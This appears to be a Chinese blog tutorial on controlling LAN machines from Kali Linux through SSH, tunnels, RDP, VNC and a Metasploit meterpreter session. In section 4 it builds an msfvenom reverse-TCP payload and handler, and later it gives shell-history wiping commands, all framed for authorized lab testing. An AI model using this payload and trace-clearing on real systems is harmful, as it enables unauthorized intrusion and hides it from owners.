
上周一个朋友问我能不能用Kali远程控制局域网里另一台电脑像向日葵那样。我说可以而且Kali内置的工具链比向日葵灵活得多——不需要对方安装任何客户端也不依赖公网中转服务器只要两台机器在同一个局域网内就能建立起一条稳定的控制链路。这篇文章我就把常用的几条路都走一遍从最简单的SSH命令行接管到用MSF生成一个轻量级载荷实现Windows主机的完整会话再到RDP和VNC的图形化接管顺便聊聊我在真实测试中踩过的坑。先说清楚以下所有操作仅适用于你拥有主机权限的授权测试环境未经授权拿别人的机器做实验后果你自己担。1. 先给冲动提个醒远程控制不等于越权操作1.1 为什么局域网反而更容易翻车很多刚开始接触Kali的朋友觉得局域网是个天然安全区路由器拉着一根线里面都是自己人于是放心大胆地跑扫描、开连接。但实际恰恰相反局域网内部是最容易出事的环节——同一广播域里的设备互相可见ARP广播满天飞任何一台中了招的主机都可能被用来横向移动。所谓内网渗透测试之所以被单独列为一个方向就是因为局域网内可玩的手段太多了。远程控制这个动作本身是中性的就像一把螺丝刀可以修电脑也可以撬门。区别只在于你有没有合法的授权。在国内的法律框架下未经授权进入他人计算机系统哪怕只是看一眼桌面都算违法。所以我必须在一开头就把这条线划清楚这篇博客里提到的每一条命令、每一个过程都默认是在你自己拥有的虚拟机、物理机或者你已签订测试授权书的服务器上执行。1.2 授权边界如何确认自己真的有权操作最稳妥的标准是三条一是目标主机的所有者是你本人二是你所在团队与目标资产方签了正式的渗透测试合同或安全评估授权书三是你在厂商授权的漏洞众测平台上进行合法测试。三条占任意一条才可以继续往下读。我自己带实验课的时候会为每位学员分配独立的虚拟机所有目标都是隔离网段里的靶机不让学员拿Kali去连同学电脑。原因很简单——模拟环境可以重来一百次真实环境出了事一次就够受的。所以下面所有操作请在你的测试环境里复现。2. 第一步把局域网里的活口全部摸出来远程控制的前提是知道目标在哪。即使你已经知道目标IP也推荐先做一遍快速发现因为局域网里IP变了是常事。DHCP一重启昨天还在的192.168.1.100今天可能就换成了192.168.1.103。扫一遍能避免你对着一个空IP干瞪眼。2.1 用arp-scan做二层发现Kali里最顺手的局域网发现工具我首推arp-scan。它直接发送ARP请求让局域网内所有存活主机回复MAC地址。ARP是二层协议只要目标主机开着并且网络通畅即使它开着防火墙也会回复ARP防火墙一般都放行ARP所以发现成功率很高。sudo arp-scan -l-l表示扫描本地网段等价于--localnet。执行后你会得到类似这样的输出Interface: eth0, type: EN10MB, MAC: 00:0c:29:aa:bb:cc, IPv4: 192.168.1.10 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.1.1 aa:bb:cc:11:22:33 (Unknown) 192.168.1.100 00:0c:29:xx:yy:zz VMware, Inc. 192.168.1.101 08:00:27:qq:ww:ee PCS Systemtechnik GmbH这里192.168.1.1通常是路由器192.168.1.100和101是虚拟机的话厂商列会显示VMware或VirtualBox的OUI信息。这个信息很有用如果某个IP显示的是手机厂商比如Apple、Samsung那它大概率是手机不适合用后面的SSH或MSF方式如果显示的是VMware基本可以确定是虚拟机非常适合做测试目标。2.2 用nmap做主机发现与操作系统识别ARP扫描告诉你存活清单但还没有告诉你操作系统类型。这时候用nmap补一刀sudo nmap -sn 192.168.1.0/24-sn是ping扫描只做主机发现不扫端口速度快。nmap会通过ICMP、TCP 80/443、TCP 53等方式探测结果比arp-scan更丰富但可能被防火墙过滤掉部分探测包导致漏报。确定目标IP后再做一次操作系统指纹识别sudo nmap -O 192.168.1.100-O开启操作系统探测nmap会分析TCP/IP协议栈的响应特征给出一个推测结果比如Microsoft Windows 10或Linux 5.x。有了这个信息你就可以决定用哪条路去远程控制Linux优先SSHWindows考虑MSF或RDP。2.3 通过端口进一步确认入口如果你想更快判断目标提供的服务顺手扫一下关键端口sudo nmap -sS -p 22,3389,445,135 192.168.1.100-sS是SYN半开扫描速度快需要root权限。22端口开放大概率是Linux或Windows装了OpenSSH。3389开放说明Windows远程桌面服务在运行。445/135开放很可能是Windows主机。把这些信息记下来后面控制方式的选择就清晰了。3. Linux主机接管从SSH到持久会话3.1 SSH的基本连接与免密登录对Linux主机来说最可靠的远程控制就是SSH。它加密、稳定、支持各种绕过断线的方式而且在绝大多数Linux服务器上默认启用。连接命令ssh user192.168.1.100如果目标SSH端口改成了别的比如2222ssh -p 2222 user192.168.1.100第一次连接会出现提示确认目标指纹输入yes即可。这里是典型的中间人攻击风险点但在局域网且你已扫描确认过IP的前提下风险可以接受。为了后续多次控制方便建议配置SSH密钥免密登录。在Kali上生成密钥ssh-keygen -t ed25519一路回车即可这样会生成一个无密码的私钥测试环境够用。然后把公钥传到目标ssh-copy-id user192.168.1.100输入一次目标用户密码之后你再ssh user192.168.1.100就不用输密码了写脚本自动化控制会很顺手。3.2 远程执行命令与文件传输SSH不只是打开一个交互式Shell。你可以让它在目标机上直接执行单条命令然后返回结果ssh user192.168.1.100 uname -a whoami ip -brief address这在批量检查多台Linux服务器时极其高效。一次循环就能拿到所有主机的系统信息。传文件则用SCP或SFTPscp localfile user192.168.1.100:/tmp/ scp user192.168.1.100:/etc/passwd /home/kali/passwd_backupSFTP交互模式更灵活sftp user192.168.1.100在/tmp里的文件默认30天清理测试用的临时文件放那里最合适。3.3 SSH隧道把内网服务安全地带回Kali远程控制有时不只是要Shell还要访问目标所在网络里的其他服务。比如目标主机能访问内网的一台监控管理页面192.168.1.200:8080而你的Kali在外部网络无法直接访问它。这时候SSH本地端口转发就很香ssh -L 8080:192.168.1.200:8080 user192.168.1.100这条命令的意思是让Kali的8080端口监听通过SSH隧道经目标主机192.168.1.100转发到192.168.1.200的8080端口。然后你直接在Kali浏览器打开http://127.0.0.1:8080就能访问到那台内网设备的Web页面。SSH隧道天然加密比直接暴露内网服务安全得多。3.4 连接中断后的善后screen/tmux实际远程控制最烦什么不是命令敲错是网络一抖SSH断了正在跑的脚本、编译任务全停了。解决办法是在目标主机上用tmux或screen把会话保住。ssh user192.168.1.100 tmux new -s deploy在tmux里执行长任务然后按Ctrlb再按d分离会话。就算SSH断开目标上的tmux进程还在跑。重新连上后tmux attach -t deploy一切照旧。对于运维型远程控制这几乎是个必选项。我做远程升级时习惯先开tmux再执行apt upgrade不然可能因为一条网络波动错过确认提示然后升级过程就卡在那了。4. Windows主机接管MSF的meterpreter才是主力4.1 为什么选反向连接Windows默认不带SSH服务端虽然现在可以装OpenSSH但很多老机器并没有。更普遍、更灵活的方式是使用Metasploit Framework的MSFvenom生成一个Payload让目标主机反向连接到你的Kali。这里的关键词是反向连接reverse_tcp。为什么不用正向连接bind_tcp因为Windows防火墙默认拦截入站连接但通常放行出站流量。正向连接是在目标上开一个监听端口然后Kali连过去很容易被防火墙拦反向连接是目标主动连Kali的端口相当于合法的Web请求穿透成功率大得多。4.2 用msfvenom生成载荷假设Kali的IP是192.168.1.10目标是64位的Windows 10/Server。生成一个64位meterpreter反向TCP载荷msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.10 LPORT4444 -f exe -o payload.exe-p指定payload类型。LHOST必须是Kali能收到的IP这里是局域网IP而不是公网IP。LPORT是Kali监听端口取一个不容易撞车的比如4444。-f exe指定输出格式为Windows可执行文件。如果你的目标是老32位系统把payload改成windows/meterpreter/reverse_tcp即可。生成的payload.exe通常在几十KB到几百KB之间。在授权测试环境中投递方式无所谓可以让目标用户手动点击也可以放到共享文件夹里。但注意不要把它放到真实环境这只是实验。4.3 启动handler并等待目标上线在Kali里启动MSF控制台msfconsole然后执行use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.10 set LPORT 4444 exploit -j-j表示后台运行监听这样MSF控制台还能继续用。当目标主机执行payload.exe后你会看到这样的输出[*] Sending stage (200712 bytes) to 192.168.1.100 [*] Meterpreter session 1 opened (192.168.1.10:4444 - 192.168.1.100:51789)输入sessions -i 1即可进入meterpreter会话。4.4 拿到会话后的常用操作进入meterpreter后你就拥有了一条加密的、跨平台的远程控制通道。常用命令如下命令作用sysinfo查看系统版本、架构、主机名getuid查看当前用户身份shell进入目标系统原生命令行cmdupload /path/file上传文件到目标download filename从目标下载文件screenshot截取目标屏幕图像getenv PATH查看环境变量比如执行shell后你会得到一个交互式cmd可以像坐在目标机器前一样敲命令meterpreter shell Process 1234 created. Channel 1 created. Microsoft Windows [Version 10.0.19045.3570] (c) Microsoft Corporation. All rights reserved. C:\Users\Administrator输入exit回到meterpreter。这些操作已经覆盖了远程控制的绝大部分需求看系统信息、执行命令、传文件、截图。4.5 常见问题杀软拦截、端口占用、会话掉线这套流程最大的现实敌人是杀毒软件。未混淆的payload.exe大概率会被Windows Defender识别并隔离。在测试环境里可以临时关闭目标的实时保护但这样就不太真实了。想绕过杀软需要做免杀处理这是另一个很深的领域不在此文中展开。我给你的建议是只用MSF做验证不要指望它能穿透真实生产环境。端口选4444经常被占实际情况中防火墙可能对高位端口有限制。换个方式用443端口443通常是HTTPS看起来像正常流量但未必在测试环境里放行。如果监听失败用ss -lntp看端口占用换一个再试。会话掉线也很常见。原因可能是目标休眠、网络切换、或者杀软在某个动作后把进程杀了。掉线后重新生成payload、重新监听有时解决问题但更关键的是找到掉线原因。如果目标是笔记本且插着网线一般不会频繁掉线如果是Wi-Fi连接的机器信号抖动就可能断。在测试环境中保持Kali和目标都使用有线网络或同一稳定的AP能省去很多麻烦。5. 图形化接管RDP和VNC的选择与配置命令行虽然高效但有些场景必须看桌面比如目标上跑着一个客户端软件你需要点开界面验证状态或者你需要在Windows上操作一个需要GUI的工具。这时候就要用到远程桌面协议。5.1 RDP连接Windows远程桌面Windows自带的远程桌面协议RDP是图形化接管Windows最正统的方式。前提是目标开启了允许远程桌面。在测试环境中可以通过以下方式自行开启# 在目标Windows上以管理员身份运行PowerShell Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Terminal Server -Name fDenyTSConnections -Value 0然后确保防火墙放行3389端口Enable-NetFirewallRule -DisplayGroup 远程桌面从Kali连接可以用命令行工具xfreerdpxfreerdp /u:administrator /v:192.168.1.100 /size:1280x800或者用Kali自带的Remmina图形客户端操作更直观。输入账号密码后就能看到目标的桌面了。RDP默认加密传输在局域网内使用很安全。注意一点Windows远程桌面不允许空密码账户登录所以目标用户必须设置密码。如果连接时报凭据无法工作先检查用户名和密码再检查目标是否开启了Network Level AuthenticationNLA——从Kali连接时某些版本需要关闭NLA才能连上。5.2 VNC连接Linux图形环境Linux图形界面远程控制最常用的是VNC。目标Linux上需要安装并启动一个VNC服务。以Ubuntu为例sudo apt install tightvncserver启动并设置访问密码tightvncserver第一次启动会让你设置一个6~8位的密码还会问你是否设置view-only密码按需选择。默认情况下它会启动一个DISPLAY :1的会话对应端口5901。Kali用vncviewer连接vncviewer 192.168.1.100:1输入之前设置的密码就能看到目标Linux桌面了。这里的数字:1指display号映射到端口号是5900N。所以:2就是5902端口。如果目标有多个VNC会话通过display号区分。5.3 什么时候该用图形化什么时候该用命令行我个人的经验是能用命令行就绝不打开远程桌面。图形化远程控制虽然直观但有几个缺点流量大协议效率低画面刷新拖慢速度。目标桌面一旦锁屏或待机VNC/RDP连接可能直接失败。在屏幕上操作目标时自己的操作很容易肉眼可见隐蔽性差。SSH和meterpreter的命令行控制则轻量得多而且可以脚本化、自动化。图形化只适合两种情况一是你需要操作目标上的GUI程序二是你想要向观众演示某个桌面操作。日常巡检、文件管理、执行命令全部走命令行。6. 远程控制之后从清理痕迹到链路加固6.1 测试结束后记录比清理更重要很多人学Kali久了会形成一种用完就擦的习惯觉得清理日志、删除临时文件是收尾必备。但在正规的渗透测试项目中我更推荐反过来保留一份完整操作记录方便写测试报告。目标主机上留下的SSH登录记录、meterpreter连接日志反而可以作为测试行为确实发生的证据。如果你的目标是纯实验环境清理痕迹倒也无妨。比如你通过SSH在目标Linux上执行过命令目标可能会在/var/log/auth.log里留下记录在~/.bash_history里留下历史命令。想减少痕迹可以在登录后立刻执行unset HISTFILE或者退出前清空当前用户的历史history -c但这些做法在实际攻防中意义有限因为高水平的安全设备会从网络侧记录一切。所以把清理留给实验环境把记录带到真实测试报告里。6.2 给自己的Kali和目标做一次加固远程控制测试结束后应该顺手做两件事一是检查目标主机的SSH配置是否有不安全项二是确认你的Kali本身没有因为测试被外部控制。重点检查Kali上的SSH服务如果开着的话sudo nano /etc/ssh/sshd_config至少确保PermitRootLogin prohibit-password禁止root密码登录但允许密钥PasswordAuthentication yes如果不需要密码登录可以改为no使用key监听端口如果不是默认22记好端口号。目标主机方面如果你在测试中开启了远程桌面或安装了VNC服务测试结束后一定记得关闭或卸载否则等于给局域网留了个后门。6.3 关于远程控制的最后一个建议在我折腾Kali的这几年里最大的体会是远程控制不是工具越多越好而是越可靠越好。SSH覆盖LinuxMSF覆盖WindowsRDP/VNC做图形兜底这三板斧已经能解决绝大多数局域网远程控制需求。你需要的不是再造一个向日葵而是理解每种控制方式背后的原理——加密、连接方向、端口、防火墙影响。把这些原理吃透遇到任何一台主机你都能在几分钟内选出一条最稳的控制链路。这也正是Kali和普通远程控制软件最大的区别它不是给你一个傻瓜式的按钮而是给你一把可自由组合的多功能钥匙。至于这把钥匙该不该用、用在哪永远取决于你自己的判断。我的建议始终只有一个先在虚拟机的隔离环境里练熟再谈其他。